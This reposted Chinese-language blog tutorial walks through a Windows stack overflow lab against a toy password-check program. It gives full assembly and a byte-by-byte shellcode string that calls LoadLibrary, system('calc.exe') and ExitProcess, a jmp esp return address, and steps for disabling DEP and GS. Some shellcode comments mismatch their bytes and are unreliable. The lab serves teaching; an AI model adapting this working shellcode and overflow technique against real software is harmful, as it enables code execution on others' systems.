一個棧溢出漏洞實驗的流程


實驗原本是模擬一個密碼驗證程序,其代碼如下:

  • 發現漏洞

其中verify_password代碼如下:

用紅框圈起來的地方發現有一個緩沖區漏洞,我們就利用這里進行棧溢出操作。我們這里只是嘗試着彈出一個calc.exe。

  • 構造匯編代碼來利用漏洞

先構造匯編代碼,這里是先利用LoadLibrary加載msvcrt.dll,在利用system函數彈出calc.exe,最后利用ExitProcess退出,以防止棧破壞而報錯,如果不使用ExitProcess,很容易報錯:

當然我們這里要知道,“exitProcess是不管堆棧平衡,直接強制退出的。不使用這個東東的話就在shellcode里手動修復堆棧吧”。

匯編代碼如下:

void main()
{
    __asm
    {
        mov esp, ebp;
        push ebp;
        mov ebp, esp;
        xor edi, edi;
        push edi;
        sub esp, 08h;
        mov byte ptr[ebp - 0ch], 6Dh;  //m
        mov byte ptr[ebp - 0bh], 73h;  //s
        mov byte ptr[ebp - 0ah], 76h;  //v
        mov byte ptr[ebp - 09h], 63h;  //c
        mov byte ptr[ebp - 08h], 72h;  //r
        mov byte ptr[ebp - 07h], 74h;  //t
        mov byte ptr[ebp - 06h], 2Eh;  //.
        mov byte ptr[ebp - 05h], 64h;  //d
        mov byte ptr[ebp - 04h], 6Ch;  //l
        mov byte ptr[ebp - 03h], 6Ch;  //l
        lea eax, [ebp - 0Ch];
        push eax;
        mov eax, 0x763b8f80;
        call eax;//LoadLibrary

        xor edi, edi;
        push edi;
        sub esp, 08h;
        mov byte ptr[ebp - 18h], 63h;  //c
        mov byte ptr[ebp - 17h], 61h;  //a
        mov byte ptr[ebp - 16h], 6ch;  //l
        mov byte ptr[ebp - 15h], 63h;  //c
        mov byte ptr[ebp - 14h], 2Eh;  //.
        mov byte ptr[ebp - 13h], 65h;  //e
        mov byte ptr[ebp - 12h], 78h;  //x
        mov byte ptr[ebp - 11h], 65h;  //e

        //system    0x762fb730
        lea eax, [ebp - 18h];
        push eax;
        mov eax, 0x762fb730;
        call eax;//system
        mov eax, 0x763c9850;
        call eax;//ExitProcess
    }
}

_asm中間的才是我們需要的,之所以放入main函數只是為了運行測試我們所寫的匯編代碼是否有問題,運行:

 

  • 為編寫shellcode查機器碼

可以正常彈出calc.exe,說明匯編代碼沒有問題。那么我們現在利用VS的反匯編功能,查看這些匯編代碼的機器碼,記得要在反匯編窗口右鍵選中“顯示代碼字節”,才能看到機器碼:

選中后顯示如下:

這里有一個問題,我們call eax的時候實際上是在調用API,我們又是如何知道這些API的地址的呢?我們可以利用這樣一段代碼:

運行它,就會輸出這個函數的地址:

 這樣,我們就知道了上邊匯編代碼中call eax之前,先要把那個地址mov到eax中了。

現在參考一下棧空間布局:

我們現在要做的就是填充掉棧空間中的buffer所占的44個字節、authenticated所占的四個字節,和原先壓棧存放的ebp所占的四個字節,我們需要填充52個字節數據,這52個字節可以是任意字節。然后再把返回地址填充為要執行的我們的代碼的地址,這里我們填充一個jmp esp的機器碼,因為當函數退出時,esp會移動到圖中指向第一個參數的位置,而這些參數我們將會用shellcode覆蓋以執行我們自己的意圖,所以,jmp esp后就相當於跳轉到執行自己的意圖的代碼部分。如圖所示:

那么這里問題來了,我們如何獲取jmp esp的地址?利用如下demo:

可以找到加載user32.dll后一些jmp esp指令的地址:

整個shellcode的機器碼如下:

//unsigned char shellcode[] =
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\xAA\xAA\xAA\xAA"
//"\x9D\xC9\x74\x63"
//"\x8B\xE5"//mov esp, ebp;
//"\x55"//push ebp;
//"\x8B\xEC"//mov ebp, esp;
//"\x33\xFF"//xor edi, edi;
//"\x57"//push edi; 
//"\x83\xEC\x08"//sub esp, 08h;
//"\xC6\x45\xF4\x6D"//mov byte ptr [ebp-0ch],'m'
//"\xC6\x45\xF5\x73"//'s'
//"\xC6\x45\xF6\x76"//'v'
//"\xC6\x45\xF7\x63"//'c'
//"\xC6\x45\xF8\x72"//'r'
//"\xC6\x45\xF9\x74"//'t'
//"\xC6\x45\xFA\x2E"//'.'
//"\xC6\x45\xFB\x64"//'d'
//"\xC6\x45\xFC\x6C"//'l'
//"\xC6\x45\xFD\x6C"//'l'
//"\x8D\x45\xF4" //lea eax, [ebp-0ch]
//"\x50" //push eax
//"\xB8\x80\x8F\x3B\x76"//mov eax, 0x762fb730;
//"\xFF\xD0"//call eax;
//"\x33\xFF"//xor edi, edi;
//"\x57"//push edi; 
//"\x83\xEC\x08"//sub esp, 08h;
//"\xC6\x45\xE8\x63"//mov byte ptr[ebp - 0ch], 63h; 
//"\xC6\x45\xE9\x61"//mov byte ptr[ebp - 0bh], 61h; 
//"\xC6\x45\xEA\x6C"//mov byte ptr[ebp - 0ah], 6ch;
//"\xC6\x45\xEB\x63"//mov byte ptr[ebp - 09h], 63h;
//"\xC6\x45\xEC\x2E"//mov byte ptr[ebp - 08h], 2Eh;
//"\xC6\x45\xED\x65"//mov byte ptr[ebp - 07h], 65h;
//"\xC6\x45\xEE\x78"//mov byte ptr[ebp - 06h], 78h;
//"\xC6\x45\xEF\x65"//mov byte ptr[ebp - 05h], 65h;
//"\x8D\x45\xE8"//lea eax, [ebp - 18h];
//"\x50"//push eax ;
//"\xB8\x30\xB7\x2F\x76"//mov eax, 0x762fb730;
//"\xFF\xD0"//call eax;
//"\xB8\x50\x98\x3C\x76"//mov eax, 0x763c9850;
//"\xFF\xD0";//call eax;

檢驗這段機器碼,可以使用

int main()
{
    ( (Func) &shellcode)();
        
    return 0;
}

進行測試,當然測試的時候要把前面填充的那些AA注釋掉。而且,更重要的是,要關閉DEP保護,否則棧上的數據無法執行

  • 將機器碼寫入TXT

將機器碼寫入TXT以便這個文件讀取時,造成緩沖區溢出,這里利用UltraEdit寫入:

  • 運行程序調試

運行程序之前,記住關閉GS

通過調試可以看出,發生溢出成功:

反匯編單步跟蹤到函數返回時:

也可以看到老ebp被覆蓋:

再往下運行一步就會報錯:

為什么?

而我們看到此時執行到的匯編指令為:

這說明我們的溢出是成功的,程序已經把棧中的數據當做代碼去執行了。我們仔細觀察上邊的彈窗,說“寫入位置 0x44444440 時發生訪問沖突”,這表明esp中的地址不合法,這主要是因為把剛才ebp中存放的0x44444444存入了esp,隨后又進行了一次push,把esp“抬高”到了0x44444440所致,那么我們考慮把mov esp,ebp去掉,

這時候就可以正常的彈出calc.exe了:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM